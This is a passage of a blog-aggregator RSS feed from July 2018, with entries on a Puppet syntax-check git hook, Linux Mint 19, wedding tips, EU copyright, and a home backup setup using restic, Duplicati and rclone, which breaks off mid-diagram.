&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;execute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sx"&gt;%w(puppet parser validate)&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;:args&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;applicable_files&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="ss"&gt;:pass&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;success?&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="ss"&gt;:fail&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;stderr&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Then we need to tell &lt;a href="https://github.com/brigade/overcommit"&gt;overcommit&lt;/a&gt; that it needs to run this custom hook as a check whenever we commit, that goes into &lt;code&gt;.overcommit.yml&lt;/code&gt; under the &lt;code&gt;PreCommit&lt;/code&gt; key:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-yaml"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;PreCommit&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;PuppetValidate&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;enabled&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;description&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'Validates puppet syntax'&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;include&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'**/*.pp'&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Hey voila, along with all our other safety checks we&amp;rsquo;re now checking that any puppet files added or changed in the repo have valid syntax.&lt;/p&gt;</description><author>Caius Theory</author><pubDate>Thu, 05 Jul 2018 17:44:41 GMT</pubDate><guid isPermaLink="true">https://caiustheory.com/overcommit-git-hooks-puppet-validate/</guid></item><item><title>Agriculture innovation in India: is it looking in the right direction?</title><link>https://stop.zona-m.net/2018/07/agriculture-innovation-in-india-is-it-looking-in-the-right-direction/</link><description>&lt;p&gt;Tradition is merging with information technology in indian agriculture. Is this happening in the most sustainable way, or going backwards?&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Thu, 05 Jul 2018 09:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/07/agriculture-innovation-in-india-is-it-looking-in-the-right-direction/</guid></item><item><title>Favioli</title><link>https://bpev.me/notes/favioli</link><author>bpev.me</author><pubDate>Thu, 05 Jul 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://bpev.me/notes/favioli</guid></item><item><title>Linux Mint 19 Cinnamon</title><link>https://peterlyons.com/problog/2018/07/linux-mint-19-cinnamon/</link><description>&lt;h2 id="xfce4-problems"&gt;xfce4 problems&lt;/h2&gt;
&lt;p&gt;I had some problems with xfce4 that eventually made it untenable.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;No way to make &lt;code&gt;ctrl-w&lt;/code&gt; always close browser tab instead of being an emacs kill word keybinding&lt;/li&gt;
&lt;li&gt;xfwm4 would occassionally lock up and prevent me from dragging windows around. I had to run &lt;code&gt;xfwm4 --replace&lt;/code&gt; to fix it. This is kind of a deal breaker for a window manager.&lt;/li&gt;
&lt;li&gt;Reordering window buttons in the window list by drag and drop didn't work&lt;/li&gt;
&lt;li&gt;I couldn't find good keyboard shortcuts to switch tabs in xfce4-terminal&lt;/li&gt;
&lt;li&gt;Sometimes on resume, wifi wouldn't work&lt;/li&gt;
&lt;li&gt;Laptop would not suspend properly if screensaver was active (so ridiculous)&lt;/li&gt;
&lt;li&gt;Keyboard shortcuts and other keyboard settings scattered around like 4 different settings apps
&lt;ul&gt;
&lt;li&gt;There's even 2 different apps for "Window Manager Settings" and "Window Manager Tweaks" FFS. Let's just send users on scavenger hunts recreationally.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="linux-mint-19-cinnamon"&gt;Linux Mint 19 Cinnamon&lt;/h2&gt;
&lt;p&gt;After experimenting with the live USB image in beta, Linux Mint 19 Cinnamon went full release recently and I installed that same day. Even though I've run linux on and off since ~1999, this was the first time I kept my home directory on a separate partition and could reinstall the OS without wiping my home directory. This has turned out to be awesome because linux does a pretty good job of keeping most personal settings in your home directory, so even after the reinstall, a lot of things continued to have my customizations. For example the actions assigned to my extra mouse buttons are configured in &lt;code&gt;~/.xbindkeysrc&lt;/code&gt; and that survives the reinstall just fine.&lt;/p&gt;
&lt;p&gt;So now I've got lots of nice things working in Cinnamon.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;ctrl+a&lt;/code&gt; does select all properly
&lt;ul&gt;
&lt;li&gt;I just use &lt;code&gt;home&lt;/code&gt;/&lt;code&gt;end&lt;/code&gt; instead of emacs keybindings as needed&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ctrl+w&lt;/code&gt; closes a chrome tab properly&lt;/li&gt;
&lt;li&gt;I can close the laptop lid and know the OS will actually suspend&lt;/li&gt;
&lt;li&gt;pomodoro applet in my panel&lt;/li&gt;
&lt;li&gt;&lt;code&gt;super+right&lt;/code&gt;, &lt;code&gt;super+left&lt;/code&gt; to switch tabs in gnome-terminal&lt;/li&gt;
&lt;li&gt;can reorder window buttons in the window list&lt;/li&gt;
&lt;li&gt;gpaste clipboard history and panel applet&lt;/li&gt;
&lt;li&gt;System Settings GUI is more clearly organized and usable&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I also tweaked my ergodox layout to give me F11 and F12 keys which I use to switch to adjacent workspaces, and I also needed a more accessiblyALT modifier, which generally I try to avoid but it's useful for some things. I really wish I could make &lt;code&gt;super+right&lt;/code&gt;/&lt;code&gt;supert+left&lt;/code&gt; switch tabs in chrome.&lt;/p&gt;</description><author>Pete's Points</author><pubDate>Wed, 04 Jul 2018 22:48:31 GMT</pubDate><guid isPermaLink="true">https://peterlyons.com/problog/2018/07/linux-mint-19-cinnamon/</guid></item><item><title>Travel the world with the geographic game - GeoGuessr</title><link>https://ilearnt.com/blog/geoguessr/</link><description>&lt;p&gt;This is a very simple idea for a quiz. It drops you in a random place somewhere in the world and you use Google StreetView to work out where it is. If you are lucky you end up in a town or city, sometimes you end up in the middle of nowhere. It is amazing how much you can work out by looking at the flora or a random signpost.&lt;/p&gt;</description><author>I Learnt</author><pubDate>Wed, 04 Jul 2018 14:00:00 GMT</pubDate><guid isPermaLink="true">https://ilearnt.com/blog/geoguessr/</guid></item><item><title>Thanks Economist, You Really Know What Has Gone Wrong with the Internet</title><link>https://svedic.org/programming/thanks-economist-fix-the-internet</link><description>UPDATE: Reddit 1: r/web_design discussion Reddit 2: r/ProgrammerHumor discussion HackerNews discussion I was surprised that there are actually some quite interesting views and proposals in the discussions above. If you liked this, you are probably going to like my article &amp;#8230; &lt;a href="https://svedic.org/programming/thanks-economist-fix-the-internet"&gt;Continue reading &lt;span class="meta-nav"&gt;&amp;#8594;&lt;/span&gt;&lt;/a&gt;</description><author>Svedic.org</author><pubDate>Wed, 04 Jul 2018 13:38:00 GMT</pubDate><guid isPermaLink="true">https://svedic.org/programming/thanks-economist-fix-the-internet</guid></item><item><title>The EU copyright directive may likely destroy its main SUPPORTERS</title><link>https://stop.zona-m.net/2018/07/the-eu-copyright-directive-may-likely-destroy-its-main-supporters/</link><description>&lt;p&gt;Namely, publishers.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Wed, 04 Jul 2018 07:30:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/07/the-eu-copyright-directive-may-likely-destroy-its-main-supporters/</guid></item><item><title>The EU copyright directive is a mess that may do a lot of good</title><link>https://stop.zona-m.net/2018/07/the-eu-copyright-directive-is-a-mess-that-may-do-a-lot-of-good/</link><description>&lt;p&gt;The &amp;ldquo;copyright directive&amp;rdquo; that will be voted tomorrow in the EU parliament is so (words fail me here) to be, as they say, &amp;ldquo;not even wrong&amp;rdquo;. But if it is approved, it may have a wonderful, long overdue unintended consequence.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Wed, 04 Jul 2018 07:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/07/the-eu-copyright-directive-is-a-mess-that-may-do-a-lot-of-good/</guid></item><item><title>Wedding Hacks</title><link>https://jonpauluritis.com/articles/wedding-hacks/</link><description>&lt;h1&gt;Some Tricks And Tips for Those of You Tying the Knot.&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;IMPORTANT: If you remember nothing else: &amp;quot;the quality of the marriage is inversely proportional to the money spent on the wedding&amp;quot;&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Do some cocktail napkin math before you decide to go all in on a wedding, a quick ceremony, a trip to the bar with friends, and then an amazing vacation might be more of what you want to do.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;For the invitee list: Make sure that you get a couple of people that ignite parties on there… A wedding is a ritualized party. Some people are better at partying than others. People that make for a good time ARE MORE IMPORTANT to your event (the thing your will remember for the rest of your lives) than relatives you see once a year or less.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Buy her white canvas all-stars for the reception. Whatever $1000 dollar shoes she’s wearing will more than likely not be broken in yet.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The table settings are literally the least important thing you will ever spend time on in your life.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Take a second for just the two of you in between the ceremony and the reception if you can (schedule this). Do whatever you want with that time ;)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Craigslist has a whole sub culture of cheap 2nd hand stuff you can get for your wedding.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Reduce, Reuse, Recycle.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Practice over-smiling cause the day of you will smile more than you ever have in your life, which will literally hurt the next day if you don’t actively practice smiling a lot (not joking).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Be prepared to answer these questions frequently in an interesting or different manner:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;“Are you excited?”&lt;/li&gt;
&lt;li&gt;“so when are you going to have kids?”&lt;/li&gt;
&lt;li&gt;“so whats next”&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;… you will be asked them a lot, and if you don’t have fun answers, the questions will actually start to annoy you which can create a small amount of tension with loved ones.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The cheapest flasks are Coleman, and can be found at target for $7. Buy at least 3-5 of these and fill them up with things you can drink straight. Assign a flask to each of your wedding party, and make them responsible for having the liquid disappear.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;For the Photographer + band etc…
Use Escrow.com. Otherwise they might ruin your night by making you run all over asking people for checks or to go find your checkbook. Or even have to worry about it on your honeymoon. As long as the money is there its easy.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Plan your activities on the honey moon. This falls on the husband.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;On your gift registry: good set of knives, good set of pots and pans. If you have friends that you know don’t have a lot of money, assign special gifts to them that take a lot of time, but not a lot of money. IE. Taking funny photos with disposable cameras printing them and get the prints, etc&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Budget out and contract specific times to socialize with your friends. This is a really big deal. Try and knock out family stuff before your friends show up.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Do your thank you cards when you send out your invitations… makes your life soooo much easier. Yes this is less personal, and you’ll have to make adjustments, but life quality goes up so do it anyway.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;</description><author>JonPaulUritis.com</author><pubDate>Wed, 04 Jul 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://jonpauluritis.com/articles/wedding-hacks/</guid></item><item><title>Tiny Planets</title><link>https://mattkeeter.com/projects/planets</link><description>Graphics demo in Rust</description><author>Matt Keeter</author><pubDate>Wed, 04 Jul 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://mattkeeter.com/projects/planets</guid></item><item><title>Home backup strategy</title><link>https://sean.lane.sh/posts/2018/07/Home-backup-strategy/</link><description>&lt;p&gt;&lt;em&gt;TL;DR:&lt;/em&gt; CrashPlan died in May 2018, so I switched my family over to using Duplicati, restic, and rclone to sync backups both locally and in the cloud. As a bonus, we&amp;rsquo;re doing for free for the next year with Google Cloud Storage due to their 12 month, $300 free trial.&lt;/p&gt;
&lt;h2 id="motivation"&gt;Motivation&lt;/h2&gt;
&lt;p&gt;For the past two years or so from the date of this post, I&amp;rsquo;ve had my family using a piece of software known as CrashPlan for backing up all of the computers for my family, my siblings and their families, and my parents. CrashPlan had some faults (it tended to be a bit of a memory hog, among some other issues) but overall it performed very well for us. Code42, the creators of CrashPlan had an annual plan that could be had for $150 that allow backups of unlimited sizes for up to 10 computers. There were native clients for Windows, macOS, and Linux. It automatically kept track of snapshots and set up services that began on startup, meaning it was easy to install for relatives and forget about it. Automated reports were sent on a weekly basis giving status updates of how often backups were ran. Like I said, it worked very well for our use case of about 850 GB spread out between 10 computers. But as it almost always seems to be the case, all good things must come to an end. In the summer of 2017, it was announced that CrashPlan for Home would be discontinued in May 2018, leaving our family and other users to find a new backup home for our digital belongings.&lt;/p&gt;
&lt;p&gt;After procrastinating for most of that period, I finally realized we needed to change backup providers a few months ago, and started thinking about a strategy that we could use to have everything safely backed up. Our digital possessions include things like our wedding photos and those of our daughter growing up, so I wanted to have a setup that would survive anything from a home invasion to a major environmental disaster. Obviously, if there&amp;rsquo;s an environmental disaster, then I&amp;rsquo;m not going to be that worried about photos compared to making sure my family is safe, but if there was a system in place to take care of those things automatically while I took care of business elsewhere then all the better.&lt;/p&gt;
&lt;h2 id="the-strategy"&gt;The Strategy&lt;/h2&gt;
&lt;p&gt;I read a number of articles and blog posts detailing how various individuals or organizations managed their backups, and it seemed that following the 3-2-1 backup strategy&lt;sup id="fnref:1"&gt;&lt;a class="footnote-ref" href="#fn:1"&gt;1&lt;/a&gt;&lt;/sup&gt; was a good idea. As described by BackBlaze:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;A 3-2-1 strategy means having at least 3 total copies of your data, 2 of which are local but on different mediums (read: devices), and at least 1 copy offsite. We’ll use “kitten.jpg” as an example for this scenario. Kitten.jpg lives on your computer at home, it was a picture that you took of your cat in 2012. That’s one copy of the data. You also have an external hard drive that you use for backing up your computer, if you’re on a Mac, you might be using it as a Time Machine drive (and Backblaze loves Time Machine). As part of its backup process, that external hard drive will back up kitten.jpg. That’s a second copy, on a different device or medium. In addition that external hard drive, you also have an online backup solution. The online backup continuously scans your computer and uploads your data offsite to a datacenter. Kitten.jpg is included in this upload, and that becomes the third copy of your data.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The second backup that&amp;rsquo;s local allows for quick restoration and usage of the backup as needed, while the third remote backup is around in case of a major disaster of failure that could wipe out the hardware of the first and second copies, or in the event that their are errors when attempting to restore from the second backup after the first has already failed.&lt;/p&gt;
&lt;h2 id="how-to-backup"&gt;How to Backup&lt;/h2&gt;
&lt;p&gt;There are a number of consumer products out there, but none seemed to meet the intersection between cost, features, and system availability for which I was looking.&lt;/p&gt;
&lt;p&gt;Around this point, I came across an application called restic&lt;sup id="fnref:2"&gt;&lt;a class="footnote-ref" href="#fn:2"&gt;2&lt;/a&gt;&lt;/sup&gt; that was open-sourced, free, stable, and relatively efficient. I really came to like restic for a number of reasons, but thought it might have been a bit harder for my more non-technical relatives to use since it only has a command line interface. For them, I came across Duplicati&lt;sup id="fnref:3"&gt;&lt;a class="footnote-ref" href="#fn:3"&gt;3&lt;/a&gt;&lt;/sup&gt; which has a graphical user interface in the form of a local web server that is accessed from a browser. The biggest differences at the moment are that Duplicati does compression on the stored files, decreasing the overall size, but it maintains the state of the backup repository in a local database, which can take a very long time (sometimes weeks) to recreate.&lt;sup id="fnref:4"&gt;&lt;a class="footnote-ref" href="#fn:4"&gt;4&lt;/a&gt;&lt;/sup&gt; On the other hand, restic does not yet have compression (though it is in the works&lt;sup id="fnref:5"&gt;&lt;a class="footnote-ref" href="#fn:5"&gt;5&lt;/a&gt;&lt;/sup&gt;), and it does not rely on maintaining anything outside of the repository where the data is stored (aside from the password to decrypt a repository if it&amp;rsquo;s encrypted). This is both a blessing and a curse, since you wouldn&amp;rsquo;t have to recreate or repair a database on the client side, but it requires connecting to the repository to process, check, or prune the backup data. If you happen to be on a slow Internet connection (like we are) or are using a cloud service that charges for operations on your buckets/datastores (as we are), then this can lengthen the duration of the backup cycle considerably or increase the cost of your backups. Just things to consider.&lt;/p&gt;
&lt;h2 id="where-to-backup"&gt;Where to Backup&lt;/h2&gt;
&lt;p&gt;Once the tools we&amp;rsquo;ve decided what to use to backup the files, we can then decide on where to store the backups. According to the 3-2-1 Backup Strategy, you need at least two other backups on different media, one of which should be located away from the other two copies. For the second, local backup, restic or Duplicati would backup to a second hard drive nearby, and then the third copy would be hosted on a cloud provider. Privacy issues about hosting personal files on a third party service were mitigated by the ability of restic and Duplicati to encrypt the backups locally before sending them over the wire. Next we just needed to decide on which third party to use. Depending on the program used, this can be limited to a few options, maybe even one. However, restic and Duplicati both support backups to several backends.&lt;/p&gt;
&lt;p&gt;I initially thought of sending a server with some hard drives to the home of a relative, and installing a server to receive the backups from the client computers. CrashPlan had this implemented as a great feature, where as long as each machine had the CrashPlan client installed, you could send your backups to the other machine without any further effort required. I ended abandoning that train of thought once I realized that the amount of data we were wanting to backup wouldn&amp;rsquo;t justify the cost of buying needed hardware, the effort of setting up backups in each direction, and the cost of electricity to keep both servers running full-time. As we get to the point of storing 10&amp;rsquo;s of terabytes or more, it&amp;rsquo;ll be something to consider but not when we have yet to breach 1 terabyte combined.&lt;/p&gt;
&lt;p&gt;I then found out that Google was offering a $300 trial credit for their cloud offerings&lt;sup id="fnref:6"&gt;&lt;a class="footnote-ref" href="#fn:6"&gt;6&lt;/a&gt;&lt;/sup&gt;, and I figured that free backups for the next year would work splendidly until we decided on where to pay for our backups to be stored. Duplicati and restic both support Google Cloud Storage out of the box, so all that was left to do was sign up for the developer account with my regular Google account, create some storage buckets (or grant the appropriate permissions to do so within the backup program), and then follow the instructions for each program&lt;sup id="fnref:7"&gt;&lt;a class="footnote-ref" href="#fn:7"&gt;7&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;h2 id="miscellaneous"&gt;Miscellaneous&lt;/h2&gt;
&lt;p&gt;I did have a brief period where I experimented with using minio&lt;sup id="fnref:8"&gt;&lt;a class="footnote-ref" href="#fn:8"&gt;8&lt;/a&gt;&lt;/sup&gt; on a Google Cloud Engine VPS, and then having Minio use Google Cloud Storage as it&amp;rsquo;s backend. The thought behind this was that when I switched backends, I could do so without having to reconfigure each of the clients (which are spread across a number of US states). However, I ran into a handful of performance issues running minio on a cheap VPS and trying to use it with a slow Internet service. It might be something worth exploring at a later time, but it wasn&amp;rsquo;t worth the headache for me at the moment.&lt;/p&gt;
&lt;p&gt;The last caveat I ran into pertained to the aspect of restic that I previously mentioned, namely that restic relies on access to the repository to process, check, or prune backups. Restic needed to read through the entire repo to perform a few key operations, and with our Internet service the backup process would have taken more than 12 hours. There seems to be a local cache of meta data in the works that would mitigate this issue, but until that time it precluded us from using restic to backup directly to the cloud. The work around for this was using restic to create and maintain the second backup, and then using a tool called rclone&lt;sup id="fnref:9"&gt;&lt;a class="footnote-ref" href="#fn:9"&gt;9&lt;/a&gt;&lt;/sup&gt; to sync the local repository with a copy on the third party cloud provided.&lt;/p&gt;
&lt;p&gt;Lastly, this setup isn&amp;rsquo;t specific to my choice of tools at all. You can swap out restic or Duplicati with any number of backup clients, use a number of different tools instead of rclone to sync the remote repo with the local copy, and then utilize any number of third party hosts for your data. The important thing is that you sit down and actually do a backup.&lt;/p&gt;
&lt;h2 id="what-to-backup"&gt;What to Backup&lt;/h2&gt;
&lt;p&gt;This probably won&amp;rsquo;t be a hard process for you when considering what files to backup, since you will likely have a good idea of what you want saved from your computer.&lt;/p&gt;
&lt;p&gt;One thing I would recommend considering is what online services you use that you cannot afford to lose. A metaphorical ton of personal information is often stored and used on platforms like Facebook, GMail, Dropbox, etc. If there is anything that you couldn&amp;rsquo;t stand to lose, then utilize services to back up those things. For me, I have several years worth of email stored in a personal GMail account, and Google is not above reproach when it comes to handling user accounts&lt;sup id="fnref:10"&gt;&lt;a class="footnote-ref" href="#fn:10"&gt;10&lt;/a&gt;&lt;/sup&gt;. Luckily, there is an excellent tool called Gmvault&lt;sup id="fnref:11"&gt;&lt;a class="footnote-ref" href="#fn:11"&gt;11&lt;/a&gt;&lt;/sup&gt; that allows for automated backups of any GMail account, on top of plenty of other features. Since I value the information in my GMail account, I back it up should Google ever decide to deactivate my account. It would still be incredibly annoying to have to fix that issue on the fly, but having the information backed up would keep it from being a catastrophic incident.&lt;/p&gt;
&lt;p&gt;Other services, like the other Google services, Facebook, etc, may not have such a handy tool and may require periodic, manual backups stored locally which can then be backed up by your backup software of choice. Examples of this include Google&amp;rsquo;s Takeout&lt;sup id="fnref:12"&gt;&lt;a class="footnote-ref" href="#fn:12"&gt;12&lt;/a&gt;&lt;/sup&gt; and Facebook&amp;rsquo;s Download Your Information Tool&lt;sup id="fnref:13"&gt;&lt;a class="footnote-ref" href="#fn:13"&gt;13&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;h2 id="the-process"&gt;The Process&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0"&gt;&lt;code class="language-gdscript3"&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #f92672;"&gt;+-------------------+&lt;/span&gt;                                              
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #f92672;"&gt;|&lt;/span&gt;Home Server        &lt;span style="color: #f92672;"&gt;|&lt;/span&gt;                                              
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #f92672;"&gt;|&lt;/span&gt;                   &lt;span style="color: #f92672;"&gt;|&lt;/span&gt;                                              
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #f92672;"&gt;|&lt;/span&gt;    &lt;span style="color: #f92672;"&gt;+--------+&lt;/span&gt;     &lt;span style="color: #f92672;"&gt;|&lt;/span&gt;    Gmvault           &lt;span style="color: #f92672;"&gt;+-------+&lt;/span&gt;               
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #f92672;"&gt;|&lt;/span&gt;    &lt;span style="color: #f92672;"&gt;|&lt;/span&gt;        &lt;span style="color: #f92672;"&gt;|&amp;lt;---------------------------|&lt;/span&gt; GMail &lt;span style="color: #f92672;"&gt;|&lt;/span&gt;               
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #f92672;"&gt;|&lt;/span&gt;    &lt;span style="color: #f92672;"&gt;|&lt;/span&gt;        &lt;span style="color: #f92672;"&gt;|&lt;/span&gt;     &lt;span style="color: #f92672;"&gt;|&lt;/span&gt;                      &lt;span style="color: #f92672;"&gt;+-------+&lt;/span&gt;               
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #f92672;"&gt;|&lt;/span&gt;    &lt;span style="color: #f92672;"&gt;|&lt;/span&gt;        &lt;span style="color: #f92672;"&gt;|&lt;/span&gt;     &lt;span style="color: #f92672;"&gt;|&lt;/span&gt;                                              
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #f92672;"&gt;|&lt;/span&gt;    &lt;span style="color: #f92672;"&gt;|&lt;/span&gt;        &lt;span style="color: #f92672;"&gt;|&lt;/span&gt;     &lt;span style="color: #f92672;"&gt;|&lt;/span&gt;                                              
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #f92672;"&gt;|&lt;/span&gt;    &lt;span style="color: #f92672;"&gt;|&lt;/span&gt;Primary &lt;span style="color: #f92672;"&gt;|&lt;/span&gt;     &lt;span style="color: #f92672;"&gt;|&lt;/span&gt;    FB Data Download  &lt;span style="color: #f92672;"&gt;+---------+&lt;/span&gt;             
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #f92672;"&gt;|&lt;/span&gt;    &lt;span style="color: #f92672;"&gt;|&lt;/span&gt;Copy of &lt;span style="color: #f92672;"&gt;|&amp;lt;---------------------------|&lt;/span&gt;Facebook &lt;span style="color: #f92672;"&gt;|&lt;/span&gt;             
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #f92672;"&gt;|&lt;/span&gt;    &lt;span style="color: #f92672;"&gt;|&lt;/span&gt;Data    &lt;span style="color: #f92672;"&gt;|&lt;/span&gt;     &lt;span style="color: #f92672;"&gt;|&lt;/span&gt;                      &lt;span style="color: #f92672;"&gt;+---------+&lt;/span&gt;             
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #f92672;"&gt;|&lt;/span&gt;    &lt;span style="color: #f92672;"&gt;|&lt;/span&gt;        &lt;span style="color: #f92672;"&gt;|&lt;/span&gt;     &lt;span style="color: #f92672;"&gt;|&lt;/span&gt;                                              
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #f92672;"&gt;|&lt;/span&gt;    &lt;span style="color: #f92672;"&gt;|&lt;/span&gt;        &lt;span style="color: #f92672;"&gt;|&lt;/span&gt;     &lt;span style="color: #f92672;"&gt;|&lt;/span&gt;                                              
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #f92672;"&gt;|&lt;/span&gt;    &lt;span style="color: #f92672;"&gt;|&lt;/span&gt;        &lt;span style="color: #f92672;"&gt;|&lt;/span&gt;     &lt;span style="color: #f92672;"&gt;|&lt;/span&gt;    Syncthing         &lt;span style="color: #f92672;"&gt;+-------------+&lt;/span&gt;         
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #f92672;"&gt;|&lt;/span&gt;    &lt;span style="color: #f92672;"&gt;|&lt;/span&gt;        &lt;span style="color: #f92672;"&gt;|&amp;lt;---------------------------|&lt;/span&gt;Android Phone&lt;span style="color: #f92672;"&gt;|&lt;/span&gt;         
